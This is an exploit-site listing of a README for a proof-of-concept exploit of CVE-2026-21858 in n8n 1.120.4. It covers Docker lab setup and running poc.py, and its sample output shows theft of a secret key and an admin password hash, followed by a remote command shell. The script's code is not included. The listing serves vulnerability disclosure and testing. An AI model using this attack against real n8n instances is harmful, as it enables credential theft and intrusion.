Sploitus

Exploit for CVE-2026-21858

kitploit · 2026-09-07

Exploit Code

MARKDOWN114 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EQSTLAB-CVE-2026-21858
# CVE-2026-21858 RCE

PoC environment for n8n `1.120.4` with a Form Trigger workflow and an exploit script.

## Requirements

  * Docker (Docker Desktop on Windows)
  * Python 3.x (attack side)



## Files

  * `Dockerfile` — build the n8n vulnerable environment
  * `run.bat` — run the container (Windows)
  * `workflow.txt` — n8n workflow (includes Form Trigger)
  * `poc.py` — PoC script
  * `requirements.txt` — PoC dependencies



## Environment Setup

  1. Build Docker image



root@kitploit:~
    
    
    docker build -t n8n-vuln:1.120.4 .
    

  2. Run environment (Windows)



root@kitploit:~
    
    
    run.bat
    

  3. n8n Configuration


  1. Open n8n in the browser
  2. Login as **admin**
  3. Create a new workflow
  4. paste `workflow.txt`
  5. **Activate** the workflow
  6. Copy the **Form Trigger URL**



## Proof of Concept (PoC)

  1. Install dependencies (attack side)



root@kitploit:~
    
    
    pip3 install -r requirements.txt
    

  2. Run exploit



root@kitploit:~
    
    
    python3 poc.py
    

  * Paste the **Form Trigger URL** when prompted.



## Expected Result

  * PoC extracts sensitive n8n assets (e.g., `FINAL_SECRET_KEY`, admin identifiers) from the target.
  * An interactive shell prompt (`n8n-shell>`) is provided.
  * Running a command (e.g., `id`) returns output from the target environment (RCE).



### Sample Output

root@kitploit:~
    
    
    [+] Success: SECRET_KEY = "..."
    [+] Success: admin_id = "..."
    [+] Success: admin_hash = "..."
    
    === n8n Shell Ready ===
    n8n-shell> id
    
    [!] 'id' Result:
    ------------------------------
    uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
    ------------------------------
    

## EQST Insight

We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications.

  * KR : https://www.skshieldus.com/security-insights/reports/n8n_arbitrary_file_read_vulnerability_cve_2026_21858
  * EN : https://www.skshieldus.com/en/report?tab=eqst